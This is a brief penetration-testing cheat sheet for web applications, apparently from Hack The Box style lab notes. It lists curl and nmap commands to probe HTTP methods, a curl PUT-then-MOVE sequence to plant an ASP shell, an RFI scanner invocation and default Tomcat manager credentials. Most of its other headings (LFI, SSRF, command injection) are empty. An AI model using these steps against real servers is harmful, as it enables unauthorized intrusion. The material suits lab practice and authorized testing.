Web Application
Checking HTTP Methods
curl -i -X OPTIONS http://XXXX
nmap --script http-methods --script-args http-methods.url-path='/test' $ip
Curl usage
curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=0xdf&passwd=password"Shell via Put Method
Put Shell
curl -X PUT -T "/path/to/file" "http://myputserver.com/puturl.tmp"
curl -X MOVE --header "Destination:http://ip/asp.asp" "http://ip/asp.txt"RFI
$ fimap -u "http://$ip/example.php?test="
$ https://github.com/lightos/Panoptic/JBOSS
JMX Console http://$ip:8080/jmxconcole/
Tomcat Manager Default Credentials
Tomcat manager, try default credentials: tomcat/tomcat, admin/manager, admin/password, admin/s3cret, admin (emtpy password).
Command Injection
File upload bypass
SQL Shell
LFI
LFI Wrappers
LFI to RCE
SSRF
Last updated
Was this helpful?